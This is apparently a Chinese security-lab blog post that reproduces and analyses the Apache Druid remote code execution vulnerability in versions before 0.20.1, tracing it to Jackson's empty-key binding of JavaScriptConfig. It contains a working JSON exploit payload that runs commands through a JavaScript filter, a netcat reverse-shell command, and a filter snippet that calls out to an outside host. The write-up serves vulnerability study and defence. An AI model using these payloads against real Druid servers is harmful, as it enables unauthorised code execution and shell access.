破军安全实验室
本文约3600字,阅读约需10分钟。
0x00 环境搭建
源码地址:
https://github.com/apache/druid/tags
漏洞影响范围:
Apache Druid < 0.20.1(目前最新版本为0.21.1)
环境:
Docker或者phpstudy
Centos7 64位
源码审计工具: VScode
0x01 漏洞详情
-
漏洞描述
该漏洞于2021.1月份,被阿里研究院报送,2021.3月份公开
ApacheDruid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。
-
漏洞利用
1、环境搭建这里直接采用docker容器搭建环境,直接通过上面的源码链接下载,解压然后cd到distribution目录。
2、使用命令docker-compose up -d启动漏洞环境。
3、访问漏洞环境
4、漏洞复现,这里漏洞复现过程比较简单直接上POC测试,接下来详细分析漏洞成因,标红部分为Payload。
POC:
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
漏洞触发点为:Load data-->Example data-->Load Example
然后会从云端加载一些数据然后直接粘贴,进入下一步
接下来就是transform和filter则是漏洞触发的相关部分,快进到filter配置,因为我们的恶意类就
是一个filter,如果该类能够反序列化,那么大概率是在这个步骤中实现
最后直接利用可用的POC进行漏洞验证(这里需要注意一下目前公网部分POC返回结果为500
或者415,可以多尝试一些)
5、漏洞利用成功结果
6、反弹shell,可以利用.sh文件里面有nc工具,Payload:
nc 192.168.x.x 监听端口 -e /bin/sh
0x02 漏洞分析
-
产生原因
1、这个漏洞的根本问题是一个druid中全局性的问题,开发者在使用Jackson相关的标签时,出现疏漏,使得攻击者可以构造传入的json串来控制一些敏感的参数。
-
源码分析
1、这里使用搭建环境中的源码进行分析,在代码中开发者认为这种写法中zkPathsConfig参数是用户不可控的,因为zkPathsConfig参数并没有JsonProperty注解,他的值由apache druid重写的GuiceInjectableValues操纵,预期应该是配置文件中的值(默认为关闭状态),而实际上在用户传入的json串被解析为JavaScriptDimFilter类型的实例时,zkPathsConfig参数的值是用户可控的。
漏洞关键点:
1、HTTP Server端采用的是Jersey框架,所有的配置信息都由Guice框架在启动的时候进行绑定注入,比如利用的JavaScriptConfig,初始化的时候读取配置文件中的druid.javascript.enabled绑定到JavaScriptConfig的enabled field,这部分是非本地用户不可控的。
2、解析用户输入的关键部分
这一步虽然不是漏洞产生的关键原因,但是可以看出整个漏洞产生过程,这里做一些自己对过程的一些见解,首先需要了解到的是Jackson在在反序列化处理解析到JavaScriptDimFilter时,都会被封装为CreatorProterty类型,而对于没有被标记@JasonProperty的config参数,会创建一个name为””的CreatorProperty,首先会对已经解析的json串中的“键名”去查找当前解析对象中对应的creatorProperty,对应使用到的方法是findCreatorProperty,findCreatorProperty方法会去_propertyLookup 这个HashMap中查找”键名”对应的属性,在_propertyLookup中可以看到其中没有用JsonProperty注释修饰的JavaScriptConfig的键为””,要是json串中的键也为””,就能匹配上,取出JavaScriptConfig对应的creatorProperty,
拿到对应的creatorProperty之后就会将用户输入的json串中这个键对应的根据类型去反序列相应的参数。
可以看到反序列后这里的值就是用户输入的enabled为true的JavaScriptConfig,之后就会将这个值和对对应的creatorProp绑定起来(最后会绑定到对应的参数上)
3、最后漏洞利用点就是利用config为true之后绕过了对config的检查
0x03 总结归纳
在漏洞复现过程中,发现一些存在问题的点,网上对于该漏洞公开的POC中存在一些问题,或许是因为Json格式的问题导致POC验证返回状态码为500、41*等等,这里建议采用正确的Json格式
例:
"filter": {
"type": "javascript",
"dimension": "123",
"function": "function(value) {new java.net.URL("IP").openStream()}",
"": {
"enabled": true
}
}
在查看源码分析的时候也遇到一些坑点,漏洞存在的版本为小于0.20.0,一些java调用的包或者方法都不太一样这里的解决办法就是全局检索关键的调用方法CreatorProterty、findCreatorProperty、JavaScriptConfig等等。
作为一个新手小白,源码分析中借用了一些之前的代码,实属找不到调用的Java包,该漏洞于2021.1月份提交2021.3月份公开,抱着学习的心态希望能对漏洞的形成进一步了解,向大佬学习。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。
破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
破军安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(破军安全实验室):Apache Druid 远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论